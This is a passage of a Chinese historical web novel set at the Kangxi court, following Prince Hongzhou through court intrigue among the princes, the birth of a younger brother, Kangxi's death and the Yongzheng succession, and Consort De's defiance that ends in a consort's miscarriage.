“比你小十岁的弟弟?”弘旺冷笑一声,“除非你是弘时那样的蠢货,不然小十岁的弟弟能成什么器?你在朝堂都站稳了,他才刚启蒙了。况且四伯的年纪可不算太小了,焉知……”能不能活到皇玛法现在的年纪呢。 不过后面的这句话弘旺没有说出来,这样的话互相之间心照不宣就行了,说出来就落了下乘了。 现在的弘旺可以说是很急了,眼看着阿玛已经在争斗中落败了,只要四伯一上位必然清算。到时候他就算不被一起清算,也定然不会有什么前程了,现在弘昼可以说是他唯一能抓住地点了。 能抓着弘昼将弘历撸下来是最好的,若是能牵连四伯在皇玛法跟前脸面那更好不过。到时候以自家阿玛的聪明才智,只要能从中看到一丝缝隙,那就能将这个缝隙撬成裂谷。 若是不能连累四伯的脸面,那他到时候有弘昼这个后盾,只要小心谨慎些时日不愁日后没有前程。 “你在发什么梦?”弘昼只觉得荒谬,“你可知若是我将这些事情在皇玛法面前说一遍,你还想要脑袋吗?” “可你的证据呢?”弘旺脸上的笑意明显,“你自然可以在皇玛法的面前将这些都说出来,可是你的证据呢?还有,若是将这些话摊开在皇玛法面前,我自然没有什么好下场,但你们雍亲王府难不成有什么好下场吗?” 这句话说完,弘旺站了起来,原本几乎耳语的声音也转为了正常声音大小:“一时难以抉择可是常事,我等你想清楚了来找我。” 第89章 铁包金的哦 在弘昼的面前说了这番话后,弘旺就很是自信地等着弘昼来找他。他自问,这样的诱惑是很难阻挡的,身在皇家,谁又不想站到高位呢? 但他等了多日,从最开始的自信满满等到了后面的惊疑不定都没等来弘昼主动找他。 而另一边的弘昼早就把这位堂兄的话抛到脑后了,他那天过来和他说了一番莫名其妙话后放话自己一定会去找他。 但弘昼真没空,他去木兰秋狝一个多月近两个月,其余留在上书房的人念书是依旧的。他这次回来之后要补上之前一个多月缺的课,现在每日里除却念书外自己还要补课,简直忙得飞起。 加之现在每天在他面前说迷惑语录的人不少,弘昼已经很习惯听了他们的话后将他们说的废话抛之脑后了。 回上书房的这一个月,他忙得连睡觉的时间都往后推了两刻钟。一月结束后,弘昼终于盼来了自己短暂的两日休假,他在出宫坐上马车的那一刻才终于觉得自己能休息一会儿了。 摊靠在马车上,京中的路比野外要平整些,但木轮子做成的轮胎不论在多平整的路上都免不了颠簸的感觉。坐了这么多年的马车了,这点颠簸的感觉弘昼已经习惯了,等回到雍亲王府后换上了家常的衣裳后终于有了些放假的高兴之感。 换了身衣裳,弘昼就去书房准备去给阿玛请安。这是他们这几年来养成的习惯,从宫里回来后就要去给阿玛请安,报告一下最近的学习情况,还有在宫里的生活情况,这套流程已经走了四年了,弘昼已经很习惯了。 走到书房门口的时候,弘昼碰见了已经好几个月没见到的弘时。 弘时十六七岁的样子,长身玉立在四爷的书房前,脸上不带丝毫笑意看上去很是阴郁的模样。 自从被禁足在院中一两年后,即便被放出来弘时也很少会来四爷的书房门前,弘昼更是只会在年节的时候碰到这位三哥。现在在阿玛的书房门口碰见他,脸上不由自主地就带出来了一点讶异。 “怎么,瞧见我很吃惊?”弘时的眼神阴阴冷冷地扫了过来,吐出来的话很是不客气,“难不成只有你和老四能来找阿玛?” 被关在府中念书,娶了福晋后依旧不受阿玛待见,即便他得了长子也不见阿玛过来瞧一眼。弘时心中对雍亲王府的所有人都充满了怨恨,他讨厌四爷,讨厌福晋,更讨厌的是弘历和弘昼。 之前是厌恶弘昼多些的,但从弘历入住毓庆宫的消息传来之后,弘时对弘历的厌恶就超过弘昼了。凭什么弘历竟然能住到那里去,明明不过是个格格所生的。 “自然不是,”弘昼打着哈哈,“三哥自然是想来就来的。” 弘时上下看了弘昼几眼,原本阴郁的神情中突然多出了幸灾乐祸的笑:“怎么?老四现在被选去毓庆宫了,便不想与你同伍了?也对,还是老四有本事能让皇玛法另眼相待,只是不知道你……” 这样带着挑拨意味的话,这一个月中弘昼已经听了不知道多少次了。最开始听的时候是觉得新奇,后来只觉得无语,到现在只剩无聊了。 怎么这些人挑拨的话都是批发的吗?话术几乎是一模一样的,听得耳朵都要起茧子了。 正在这时,苏培盛从里头走了出来,瞧见弘昼和弘时便笑着行礼说道:“三阿哥,爷叫您进去。五阿哥,咱们去东厢房坐着喝会儿茶如何?” 弘时冷傲地看了弘昼一眼,直接就无视了苏培盛走了进去。 而弘昼则无可无不可地点了点头,只是在外面等一会儿而已,等就等吧。只是希望不要等太久了,还想着早点回去用膳后多睡会儿呢。 大概一刻钟后,弘昼就被苏培盛从东厢房叫了过去。 四爷见弘昼进去后微微点了点头问道:“这一月在上书房如何?” 弘昼将在上书房听到的话一五一十说了,不管是来他跟前想要混个脸熟的,还是来挑拨他和四哥关系的都说了。他在上书房中不一定能准确知道前朝的事情,有些事还是让阿玛知道得更好些,免得有些人在他面前装模作样把他骗了就不好了。 四爷听着弘昼说的话,手指有节奏地在桌子上轻叩着,声音回荡在书房中。 他在里面听到了最关键的信息,老八的儿子竟然这样沉不住气吗?不论是来弘昼的面前示好,还是来挑拨弘昼和弘历之间的关系,都只能说明老八已经没有什么其他的手段了。 甚至让他儿子都察觉到了,开始着急了。 想到这四爷脸上微微露出一点笑意,现在还不是胜利的时候,所以还是要克制,他抬眸看向了弘昼。 “这些日子做得不错,”四爷的话语中难得地出现的夸奖,“宠辱不惊,很不错。” “都是阿玛教得好。”弘昼心不在焉地应道,他刚刚在门外等了一刻钟,本来按照往日里的时间算现在他应该已经在回院子的路上了。 四爷没看出弘昼的不认真,叮嘱道:“日后在上书房中还是要如这些日子一般,不可骄横跋扈。倘若有什么事情,或拿不准的东西便遣人出来问我。” “我明白的阿玛,”弘昼有点无奈,“这些话你上个月就嘱咐了我好多遍了。” 四爷淡淡瞥了他一眼,这些事情太重要了,不论嘱咐多少遍都是值得的。在尘埃落定之前,一切都要小心,特别是这两个在宫中行走的儿子就更要小心了。 想到这四爷突然庆幸,幸而弘时的年纪已经过了在上书房念书的年纪了。倘若是他现在还在上书房的话,说不定这一月间就被人诱着说了不知道多少不该说的话了。 弘昼见四爷似乎嘱咐完了,有点好奇问道:“阿玛,四哥这个月不回府了吗?” 往常弘昼都是和弘历一起回来的,他刚刚在宫门口的时候听驾车的小厮说四阿哥今儿不回。小厮只知道四阿哥今日不回,不知道是一直不回还是明日回,弘昼便索性来问四爷了。 “明儿回来一趟,”四爷的手停止了敲击桌面,微微掀了掀眼皮说道,“你皇玛法有件差事要他去办,今儿来不及,明儿就能回来了。” 弘昼哦了一声,刚想行礼告退就被叫住了,疑惑地看向了四爷。 “你这段日子做得不错,”四爷的神色和缓,再次说了一遍,“倘若接下来能继续这般,那等今年结束了我便送你一只铁包金的藏獒。” 这话一出,弘昼的眼睛一下子就亮了起来。 他从小时候就眼馋阿玛的海东青还有藏獒,但这两个东西实在是太贵了。他倒也是可以养宠物,但选择也就猫狗还有小鸟这几样了。 这几样宠物也不是不好,但弘昼更偏好有攻击性的动物一点。特别是看到了额日乐之后,他就不能接受小鹦鹉了。 小鹦鹉是好看,但它永远也不可能抓着一只兔子放到你的身前。 即便是现在已经长大了些,但弘昼的私房钱还是买不起一只海东青或者藏獒。现在听见四爷的承诺,弘昼心中一直在刷屏着你立字据。 但最后还是没敢把立字据这句话讲出来,他怕自家阿玛生气之下直接跑出来揍他。 “那咱们可说好了啊,”弘昼的眼睛亮得似乎塞下了星辰,“我接下来肯定好好表现,阿玛你就等着把藏獒给我吧。” 四爷好笑地嗯了一声,挥了挥手表示他可以跪安了。 看着弘昼行礼离去的背影,四爷原本和弘时说话之时的郁气在不知不觉间消失了。 弘昼回上书房后会遇见的东西,四爷原本也有猜测。他那时候在心中想着,若是弘昼受了挑拨和弘历对立了,那他就把弘昼也圈在府中几月,好好磨磨性子。 但在见到弘昼的那一刻四爷就知道自己多虑了,这个孩子根本就不在乎弘历去了毓庆宫这件事。所以他一时心念一动,准备给这个表现得不错的孩子一个奖励。 看见弘昼听到藏獒之后亮起的眼睛,四爷心情瞬间高兴了不少。弘昼待弘历,又何尝不是十三弟待自己呢? 心中并无权欲算计,一心只有兄友弟恭。想来日后的弘历和弘昼,便是今日的自己和十三弟。 弘昼从阿玛的书房出来后,心情一直是飞扬的。虽然养了藏獒后他估摸着也就只有从上书房回府的这两日能看看,但心情还是不可抑制的高兴。 那可是藏獒诶,这次去木兰秋狝他就看到了有蒙古王公养的藏獒,可凶猛了,打猎的一把好手。 这个好心情一直持续到了第二天,弘昼在看到四哥回来的时候心情更好了。 “怎么了你这是?”弘历有些莫名其妙地看着弘昼,“从方才我就看见你一直压不住地笑,这是遇上什么好事了。难不成是想我了?” 最后的这句话多少带了点调侃,其实是弘历私心有点想五弟了。在皇玛法身边时时事事都要留心着,不论是谁都感觉长了八百个心眼子,一句话不对心中便开始打鼓了。 这样的日子只能说看着风光,实际上弘历自己待着的时候还是更为想念和五弟一起在上书房念书的日子。他念书的时候五弟在旁边絮絮叨叨的日子,想起来便觉得心中似乎得到了些许的疗慰。 “四哥你不知道,”弘昼的语气都是上扬的,眼神里的开心简直要溢出来了,“阿玛答应我若是接下来表现的不错,便给我一只藏獒,铁包金的哦!” 铁包金三个字被弘昼刻意重声强调了。 第90章 雪 “铁包金?”弘历的眉微微扬了起来,“每月只能见上一次,到底是你养,还是府里的下人养。” 藏獒这样的狗是肯定不能带进宫的,若是弘昼只是想要养些没什么攻击性的猫狗鸟的话还有可能带进宫里。但是藏獒这样的烈性犬,大多数是养来用作打猎的,自然就不能带进宫了,万一伤了人事情就大条了。 “每月只能见一次也是我养,”弘昼嘴硬,“到时候找个能驯犬的,让他教狗认我做主人。” 看着弘昼嘴硬的样子,弘历轻轻笑了出来:“行,你高兴就好。” 兄弟俩分开满打满算其实也才一个多月,在弘历被选去毓庆宫前,弘昼和弘历这几年间一直都是待在一起的。 现在弘昼看着四哥,觉得他变了些,明明分开不久但就是觉得四哥变得沉稳了不少。 “四哥你跟在皇玛法身边可还好?”弘昼看着四哥问道,这一月间他一直忙着补前面的课程,本来打算好的有空闲的时候去毓庆宫看看四哥,但一直以来都没空去。 弘历想了想,这个屋子里现在只有他们兄弟两个,在这里说话倒是不用担心被传出去。 想到这,弘历点了点头犹豫片刻后又摇了摇头:“好,也不好。” “这话怎么说?” 弘历伸出手给自己倒了一杯茶,顺手也给弘昼倒了一杯:“跟在皇玛法的身边,其余人倒是对我很是客气。不论是皇玛法身边伺候的老人,还是那些前来觐见的朝臣,对我都很是客气,甚至有些恭敬。” “这听上去倒是不错,”弘昼端起茶杯抿了一口,“这样说的话想来也没人敢怠慢你。” “是啊,没人敢怠慢。”弘历笑了下,但很快就掩下,“但在皇玛法的身边,个个都是人精,虽说面上恭敬,但只要一不小心便容易瞧见圈套。前几日,我便入了个小圈套,好在皇玛法没说什么。” 前几日的时候,弘历被堂兄弘晳坑了一把。这位堂兄他之前没怎么接触过,但知道废太子被圈禁后,康熙就把这个堂兄接在身边养着了。恩宠一直不断,但就是从未重用。 弘历初见这位堂兄的时候心里就敲起了警钟,但他毕竟比弘晳要小十几岁,一时不慎之下还是被算计了。好在他自己本身是个聪明的,没有真的全踏进去。 弘昼察觉到四哥似乎并不想细说这个小圈套,沉默了片刻后说道:“只要在皇玛法的身边,那便会成为一个靶子。多的是人想要将你拉下来,只有把你拉下来了之后他才有可能上去。” 若是弘历被厌弃,说不定能连累到四爷。现在想要将弘历从康熙身边拉下去的人绝不仅仅只是皇孙们,老八老九他们都盯着弘历的位置,盼着能将他一下拽入深渊。 “刚去的时候是觉得有些难,”弘历笑了笑,“但是现在觉得似乎也就那样,那些口头上的坑很容易就能辩驳出来。我现在适应了,倒也没有那么容易被他们算计。” 在五弟的面前弘历不大想提及自己这一个月适应的时候遇到的困难,转头便提起了弘昼:“你呢,你在上书房可遇到其他事了?弘旷应该不会再来找你麻烦了吧。” 在上书房中和弘昼不对付的,头一号就是弘旷。所以弘历一提及弘昼不对付的人,脑海中闪现出来的就是弘旷。 不过弘旷虽然不聪明,但也没有蠢笨到让人受不了的程度。如今瞧见自己被皇玛法带在了身边,应该也不会再去和五弟作对才是。 弘昼撇了撇嘴说道:“他是不曾找过我麻烦了,每日里瞧见我便躲开了。现在找我麻烦的是弘旺,在我耳边说了些似是而非的话,不过我懒得理他。” “弘旺?”弘历端着茶杯的手微微一滞,想起了那位脸上时时带着笑意的八叔,“弘旺和八叔比起来还是太嫩了。” 从前在上书房的时候,弘历也和这位堂兄打过招呼。当时觉得这位堂兄在上书房中应该算得上是聪明人的那一类型了,但他现在和八叔打过交道后才发现,这位堂兄连八叔一半的火候都没有。 想起前几日的一次,弘历在这位八叔和煦的目光中打湿了后背。每一句话似乎都带着深意,让他要仔细思索后才敢应答。 “他只想在私底下来找我,”弘昼有点得意,“但我不想理他,便一直和弘暾还有弘曈他们在一起。弘旺只要逮不住我,就不会上前来说那些莫名其妙的话了。” 弘历失笑:“还是你机灵。” 兄弟俩聊了一会儿后便各自去额娘的院子了,每月才能回来一次,回来肯定要好好陪陪额娘的。 耿执羽这段日子迷上了评书,自从弘昼安安稳稳长大了之后,福晋待她们这两个有孩子的格格就更客气了些。若是些不重要的事情,她们提了之后就都会满足。 所以耿执羽能隔三岔五叫来说评书的女先儿,听得如痴如醉的,有时候还拉着钮祜禄格格一起听。 因着听评书多了,耿执羽又了解到了话本子。她原本的文化水平也就勉强能看懂《三字经》,现在因为想要看话本,倒是又学了不少字。因为找到了爱好,这个月连去找钮祜禄格格的时间都少了。 弘昼这次回去就被额娘房中的书架给镇住了,之前这书架上放的都是他小时候看的一些孩童启蒙书,量也不多。毕竟他是住到了三岁就走的,启蒙书加起来也就那几本。 但是现在书架上被满满登登塞了不少,弘昼吃惊:“额娘,你这是买了多少本话本子?” “这可是这几年来京城里最流行的,”耿执羽看着自己的书架有些自得,“我现在才迷上,书店里有不少的书,我都命人去买了。” “那你的月例银子够花吗?”弘昼很诚恳地问道,“要不要孩儿也命人出去买些回来给额娘。” 要是没记错的话,书应该是挺贵的,额娘买了这么满满当当的一书架,不会是把这两年的月例银子都花出去了吧。 “你放心好了,”耿执羽笑着说道,“额娘现在还不缺银子花。” 喜欢看书是好事,就算只是话本子,拿来打发打发时间也不错。弘昼是喜闻乐见的,在上书房的时候听有些有些堂兄弟说,他们额娘在家中不是绣花就是枯坐着等孩子就是等丈夫。 与其这样等人,还不如自己找点喜欢的事情干。书中自有黄金屋,现在看话本子,说不定以后会喜欢上史书呢,有些史书看着也很是有趣。 在额娘这里待了一日后,弘昼脑海里塞着一脑袋的话本清单回到了自己的院子。额娘看的东西还挺广的,什么神仙鬼怪,什么书生小姐花魁之类的都有。 第二日弘昼就回到了阿哥所继续准备念书了,他上个月将落下的功课都补得差不多了,这个月就只需要按部就班地跟着先生念书就行了,要比上个月轻松了不少。 现在弘昼已经很适应尚书房中各位同窗对自己的态度了,他依旧还是和原本关系好的那几位相处。其余的人,保持着不得罪不搭理,不多话的原则继续相处。 弘旺等到了第二个月还没等来弘昼的追问,想要和弘昼继续搭话但又找不到时机,现在弘昼几乎和弘曈黏在了一起,让他心情不免更郁郁了。但又不能直接冲过去说那些话,弘曈可是五伯府上的,虽说五伯并未参与夺嫡,但万一这件事流传出去了呢? 时间裹着秋日的落叶一去不返,冬天的寒凉开始慢慢席卷紫禁城。弘昼已经穿上了冬装,起床就看见了窗外似乎是白茫茫的一片。 “下雪了?”弘昼有点惊奇,随即吸了吸鼻子,“下雪了更不想起床了。” 天一冷人对被窝的眷恋就会开始升高,即使这屋子被烧得暖暖的,他起床并不会冷到。但弘昼就是不想起,他对被窝的感情此刻达到了顶峰。 “主子快些起来吧,”小周子将厚厚的衣裳收拾出来说道,“咱们已经晚了些,若是再不起来可就要迟到了。” 在去木兰秋狝之前,弘昼晚去一会是常见的事情。但从木兰秋狝回来之后,他就被阿玛警告了,一定要遵守上书房的规矩。 这两三个月来他一直都是按时到上书房的,一天也没有迟到过。 弘昼从床上爬起来后,伸了个懒腰就开始穿衣裳。冬天的下雪天最适合的是睡到自然醒,醒来后看着雪景来个红泥小火炉。一边烤火,一边煮茶。 可这样的情趣注定只有在他成年之后才能得到了,现在他只有一个悲催的要去上书房念书的可怜学生。 换了衣裳用过早膳后,弘昼出门就被风吹得一激灵。不愧是下雪了,这也太冷了点,不敢想等春日里化雪的时候得冷成什么样。 小周子急急忙忙拿着斗篷给弘昼穿上:“这天冷了,还下着雪呢,主子把斗篷穿上。” 穿上了斗篷之后,弘昼坚强地在雪夜里往上书房走去。 到上书房的时候,里面还没几个人,弘昼一般是踩点来的。看来今天因为下雪被困在被窝的人不少,迟到的人多了。 解下斗篷,上书房里面已经燃了炭火,一进去就能感受到室内被烧得宛若春日。 等上书房热闹起来的时候,寅时都已经过半了。这天雪下得急,是天黑了之后突然下起来的,许多人起床看到雪都蒙了。 弘昼倒是没蒙,他在今日散学的时候接到了一个消息。那就是年侧福晋生了一个弟弟,他们有个六弟了。【你现在阅读的是魔蝎小说 moxiexs】 90-100 第91章 康熙驾崩 细算算年侧福晋入府也已经快十年了,她这是第三次怀孕,前两次生下了一儿一女,但都是生下来就体弱,留不久便去了。 因为这件事情,年侧福晋这几年来一直心情郁郁。 若是怀不上的话,心情可能只是不好。可怀上了,生下来了,又看着孩子痛苦的离去,对她而言简直就是一场心灵上的凌迟。 这次生下来的这个孩子听说也是个体弱的,现在西侧院中的人当成宝儿一般捧在手上。年侧福晋寻了不少的民间偏方来想要留住这个孩子,甚至四爷都破天荒没让这个孩子从弘字辈,而是取名福惠。 从这个名字上就能看出来,这对父母现在对于这个孩子的期待就是他能好好的活下来,最好能顺利平安的长大。 等弘昼休沐回府时,听到的消息就是福惠如何如何得四爷的宠爱。有了这个孩子之后,四爷几乎就不曾去过别的院子了,从前还会去后院几个格格侍妾处一两晚,但现在听说都没了。 只要一回府就去西侧院,看顾着这个新得的小儿子。 西侧院新得了个孩子,弘昼这个做哥哥的休沐了应当是要去瞧上一眼的。便打算在第二日前去给年侧福晋请安,顺便瞧瞧这个孩子。 之前年侧福晋所生的两个孩子,一生下来便气息微弱,太医整日里守着。那个时候弘昼年纪还小,看着西侧院这个乱象也不敢随意前去,若是去添乱可就不好了。 但这次的这个弟弟,虽说太医也说了在胎里便有些先天不足,但总体来说还算健康,只要好好将养着说不定是能养大的。 回去的第一天弘昼和四哥商量了一下后,都决定第二日去给嫡额娘请安过后就去西侧院给年侧福晋请安。 府里传着这位六弟有多得阿玛的宠爱,但弘昼和弘历现在都有自己的事情要忙,加之也不是五六岁的小孩子就盯着阿玛瞧了,便也不大在乎。 毕竟小上十岁,真的很难对一个小婴儿起什么嫉妒之心。 第二日的时候,弘昼和弘历果然相伴去了西侧院。 “侧福晋,”有小丫鬟快步走进来禀报,“四阿哥和五阿哥来了,说来给您请安,想看看六阿哥。” 年侧福晋这才刚出了月子不久,还没有恢复去福晋那里请安的规矩,此时正面带笑意的看着孩子吃了奶后睡着,闻言眉头微微蹙了起来。 孩子还太小了,弘历和弘昼都比孩子大了十岁,又不是同母所生,很难和这两个哥哥培养出什么深厚的兄弟情来。 可现在瞧着,不论是被选去毓庆宫的四阿哥,还是在上书房的五阿哥都不是等闲,特别是这两个阿哥还同气连枝。还是得让这两个哥哥对福惠喜欢些才好,日后也会看顾这个幼弟。 想到这,年侧福晋的眉头舒展了开来,面上带上了一点慈爱的笑意:“快去请进来吧。” 弘昼和弘历进来后先是行礼,年侧福晋面带笑意示意了一下旁边的田嬷嬷:“快快起来,两个好孩子,你们在宫里头念书劳累,难为还能着过来瞧瞧福惠。快过来吧,不过弟弟现在正在睡觉呢。” 弘昼看着奶娘怀中抱着的孩子,这个孩子脸上的皮肤是红红的,现在正闭着眼睛睡觉,胸膛有着微弱的起伏。时不时吸一吸小鼻子,来展示存在感。 似乎是还没有长开,皮肤还有些皱巴巴的。 见两个孩子都一眨不眨的盯着福惠,年侧福晋脸上的笑意更深,招了招手让奶娘离得更近些了。 看过孩子后,弘昼和弘历坐着待了一会就告辞了。他们之前就和年侧福晋接触不多,又不是经常过来请安,现在看过孩子之后也没什么可聊的,便直接告辞了。 看着弘昼还有弘历离去的背影,年侧福晋眼中闪过了一丝羡慕,又低头看了看福惠,笑意渐渐从眼底蔓延开了。 这个孩子一定能养活的,他日后也会像他的哥哥们一样,能进宫去念书,可以带着健康的身体去学习骑射。至于能不能练好,年侧福晋倒是不在意,她现在一心想的是让孩子能好好的健康的长大。 府中添了个弟弟,对于弘昼来说几乎没有什么影响或者改变。 他现在一年里在家待的时间不长,这个六弟年纪又还小整日里待在西侧院的,几乎碰不上。除了偶尔从阿玛还有伺候的人口中听到六阿哥外,他就没有和六弟接触的机会了。 凛冬过后便是春暖花开了,这个春天对于四爷来说是个得意的时节。康熙不仅亲自来他的院子坐了坐,还夸了福晋和弘历,对比其他兄弟来说这就是个很值得得意的事情了。 但自从今年开春以来,康熙的身体便更差了。明明去年还能去木兰秋狝围猎,甚至还猎到了一头大型动物,但今年似乎是一开始便一直缠绵病榻。 上头的皇上一直病着,京城里的氛围也是风起云涌。在这样的氛围中,康熙下了令将去年回京的抚远大将军胤祯派了出去。 这样的氛围维持到康熙的身体在入夏后渐渐开始好转,甚至还有精力去校场骑两圈马了。这位帝王在这样的年纪还能有这样的精力,让不少人都瞠目结舌,在位六十一年,这恐怕是古今第一了。 今年的木兰秋狝弘昼还是可以跟着去,听闻今年依旧有木兰秋狝的时候他眼睛都亮了。虽说去的时候是有些折磨人,但对比着留在京城念书的话,即便一直骑着马去似乎都成了难得的消遣。 托四哥的福,弘昼这次的帐篷进了黄幔城的范围,也随侍了皇玛法几日。不过相比于跟着皇玛法视察和接见蒙古王公,弘昼还是更愿意去草原骑马玩耍。 不过他刚升起这个想法,就被自家阿玛一瞪眼给吓没了。 这里有阿玛和四哥就行了,自己在这里又有什么用呢。 不过弘昼不敢将这句话说出来,要是说出来的话,说不定等着自己的就是阿玛的教训和恨铁不成钢的眼神了。 好在弘昼在皇玛法这里只是个边缘人物,随侍了两天后就获得了自由。加上阿玛和四哥都跟在皇玛法身边忙着,没人能管他,倒是让他在草原上撒欢玩了个爽。 这次恒亲王来了木兰秋狝,同时也把弘曈带来了。 恒亲王不大管这个小儿子出去野,弘昼最近也没人管,两个人一合计起来便整日里出去骑马撒野。还是要趁着能玩的时候多玩,等回京了等着的就是功课还有先生的苦口婆心劝导了。 木兰秋狝这次围猎,皇孙们似乎都下了大功夫,弘昼看到最后行赏的时候有好几个都猎了大家伙。似乎是因为去年弘历拔得头筹后被赐居毓庆宫,这大大的刺激了这些皇子们,回去就挥着小鞭子让儿子们疯狂加练。 去年名次还在前列的弘昼这次直接掉到了中游,看着阿玛投过来的死亡目光弘昼只能叹了口气。 不是我方不努力,实在是对方太卷了。 回京的时候,弘昼骑着琥珀看着这片大草原,想着京城里等着自己的功课就分外的舍不得。 可即便是舍不得也要回去了,跟随着大部队回到京城的时候,京城已经悄悄迈入了秋天。 原本还精神矍铄的康熙,一回京就病倒了。不过紫禁城如今还蔓延着暑气的余热,并不适合养病,*康熙就搬到了畅春园养着。 皇子们也一起搬过去了,康熙病了按照规矩来说他们是要去侍疾的。 但康熙身边有用得惯的老人,这些皇子们过去也就是做些陪伴和喂药的工作。其他的宫女和太监们都已经包揽了,毕竟让这些天潢贵胄们去做些粗活的话,怕是要搞砸。 京城里的氛围又开始诡异了起来,每日里都有人探听着畅春园的消息。 这几年来康熙病了多回,在不少人觉得这位帝王的人生似乎要走到末路的时候,他却又在不久之后痊愈了。现在这位帝王又病了,没人知道这次是病愈还是…… 每日里的折子依旧送往畅春园,但上面却一直不曾有朱批,这是康熙病得连折子也看不了了。 这位陛下是个勤政的人,只要身体好些了是一定会看折子的。若是一直没看,就是病得极重。 在这样的推理下,京城的官场又开始蔓延了一股浮躁的气息。这样的气息也传到了上书房,在这个位置上面的是皇玛法,还是叔伯可是有着极大的不同的。 在上面这个位置坐着的若是皇玛法,那多少也会宽恕些自家阿玛或者自己的小过错的。犯了错之后,最多也就是被罚俸或者闭门思过罢了。 但若是上面的是叔伯,那可就要看叔伯的心情还有这位叔伯对自家阿玛的感情了。 在这样的气氛下,围在弘昼身边的人越来越多。四爷和弘历都是肉眼可见的受看重,这一年多以来,皇玛法属意的继承人似乎已经是众所周知的事情了。 但弘昼早就收到了阿玛还有四哥的口信,他这段时间更加谨慎了,只要周围的人说上一句关于时局的话,他便立刻闭口不言了。没人能从他这里得到什么消息,更没人能在这个时候和他套近乎。 刚迈入秋天的热气已经消散了,已经步入了深秋,即便是宫里也到处都是枯黄落地树叶。若是在傍晚有性质在落叶下踩着散步的话,似乎是别有一番风味。 但宫里的人都没有这个兴致了,因为刚刚畅春园传来消息,皇上驾崩了。 第92章 搬家 康熙驾崩这件事,对于京城里的任何一户人家来说都是大事。国孝期间,民间不仅男子不能剃发,女子还要卸下钗环。 这个时间段内需停止婚嫁、宴会、戏曲等娱乐活动。 这些规矩限制的是普通人家,当然了,一般特指的是京城以及附近的普通人家。毕竟古代消息传播的速度不快,皇帝驾崩了这样的消息传到偏远地区都不知道过了多久了。 而对于朝堂官员还有皇亲国戚来说,皇上驾崩了这件事涉及的就更多了。 康熙在位的后期,皇子们以及手下的官员们在朝堂上互相攻讦。若是站队对了的,现在就可以等着享受胜利的果实了,而站队错了的则面如缟素,等着即将到来的清算,有些不甘心的人或许还会想方设法地找找办法让自己免于这次新皇登基后的清洗。 这些事情和现在的弘昼关系不大,他只需要老老实实地在灵前给康熙守孝就是了。 同弘昼一起守孝的还有诸位康熙的儿子们以及一些皇孙,前朝的风起云涌暂时还烧不到他这个没成年的孩子身上。 在康熙去世的一月内,四爷登基为帝,改明年年号为雍正。召回了抚远大将军胤祯,封了八爷和十三爷为亲王,并命两位亲王和马齐以及隆科多总理事务。 因着康熙身前的表现,加上四爷拿出来的满汉蒙三语的即位诏书,所以四爷在登基的时候没有收到太多的阻碍。就连八爷以及他身旁的九爷和十爷都没出来阻拦,不过听闻九爷的脸色似乎不大好看就是了。 这几位没有阻拦四爷,第一个跳出来不尊四爷却是他是亲弟弟,也就是被召回来的抚远大将军十四爷胤祯 胤祯在得到康熙驾崩的消息之后,便连夜骑马赶路,在驿站换马赶了回来。听闻他刚回来的时候看见四爷不曾行礼下跪,反而出言不逊,让四爷险些当着众臣的面和这位亲弟弟杠起来。 本来以为没办法收场了,但八爷一出面,刚刚还桀骜不驯的十四爷一下子就温软了下来。不情不愿地给四爷磕头行礼后,才去到了康熙的灵堂前。 忙忙碌碌的一段时间过去后,守孝期一过,宫里就换了一批人,原本康熙的妃嫔们都被迁居寿康宫,德妃则被封为仁寿皇太后。居住慈宁宫四爷府上的家眷们也都要住进来。 但就在这期间,发生了一件让朝野上下都目瞪口呆的事情。 那就是德妃拒迁宫,并开始了绝食。 谁也没有想到,在这样关键的时刻,第一个跳出来打四爷脸的竟然是他的亲额娘。 即便平日里,德妃似乎对四爷较为冷淡,但是谁也没想到她竟然会做出这种事。 “皇额娘还是用些饭食吧,”福晋跪在德妃的身前,语气恭敬,“这都是皇上的一片孝心。” “孝心?”德妃语气似乎有些不屑,冷冷地看着跪在她身前的福晋,还有其余四爷后院的女子,从福晋到侍妾,一个不落都跪在了这里。 福晋实在是想不明白,她一直都知道,这位德妃最疼爱的并不是四爷,但是在这样关键的时刻,竟然能做出这种拆自己儿子台的事情,她真的想不明白德妃是怎么想的。 年侧福晋嘴唇苍白,她们已经在德妃面前跪了两日了,这两日里请安的时候,便在跟前跪着。 她的身体本来就不好,这样跪了两日之后,更是觉得头晕目眩。 可德妃不叫起,她们不敢也不能随意起来。 耿执羽悄悄地揉了揉自己的膝盖,她觉得这两日跪的要比前面十年加起来跪的都多了。这日里在王府行礼的时候并不需要跪,过年过节的时候,也不过就是跪上一会儿。 “既然他有孝心,便让十四来见我。”德妃的语气冷冰冰的,她这段时间实在是太烦躁了,相比于两个孩子,她对康熙的感情更深。 这两个孩子大的小时候被抱去了皇贵妃宫中养着,小的也是养到五六岁后便搬到了阿哥所住着。对两个孩子不能说没有感情,但相对而言就没有那么深。 所以直现在她都沉浸在悲伤之中,甚至于心中有个小小的怀疑,但这样的怀疑不能随意说出口。 皇上这次去畅春园养病,是没有带后宫的妃子的,是不是有可能…… 年侧福晋的脸色愈加苍白,她头晕更严重了,浑身上下没有哪一处不难受。不过德妃不待见四爷后院中的任何一位女子,现在这个场合也不适合让她开口说自己的不适。 耳边似乎传来福晋和德妃的对话,但年侧福晋已经听不清了,她眼前似乎一片白茫茫的,脑中成了混沌,眼中所有的色彩最后都转变成了黑色。 “年侧福晋晕倒了——” 惊呼是武格格传出的,福晋骇然转头就看到了年侧福晋晕倒在了她的身后,脸色苍白如纸。 德妃原本冷冰冰的眼神一滞,转为了惊讶。 “快,快些叫太医来。”福晋也暂时顾不上德妃耍性子了,连忙吩咐,“快扶起来。” “扶到东侧殿去。”德妃也皱着眉开口,她是不想让老四好过,但也不想被老四抓住小辫子,她现在的第一诉求是见十四,要问问清楚到底前面发生了什么事情。 有两个膀大腰圆的嬷嬷上前来将年侧福晋抱了起来,在年侧福晋被抱起来的时候所有人都发出了惊呼,因为她们看到了年侧福晋下身被染了血色。 德妃的脸色也变白了,她深吸了一口气:“还不快去叫太医来。” …… 等四爷到永和宫的时候,就听闻年侧福晋是流产了,孩子才不到两个月。 看着躺在床上脸色白如雪的年侧福晋,四爷深吸了一口气,咬着牙下令:“去传轿撵来将侧福晋抬回去,伺候得仔细些不许叫侧福晋见了风。” 这几日朝堂上的事情忙的他脚不沾地,每日里不过睡两个时辰,前朝的事情都没摆平,虽说知道额娘在为难福晋她们,但他也实在是没空来管了。现在听到清凝在永和宫晕倒了,才放下了手中的事情赶了过来。 四爷将福晋她们还有伺候的人都打发走了后,冷淡地看着德妃:“额娘意欲何为。” 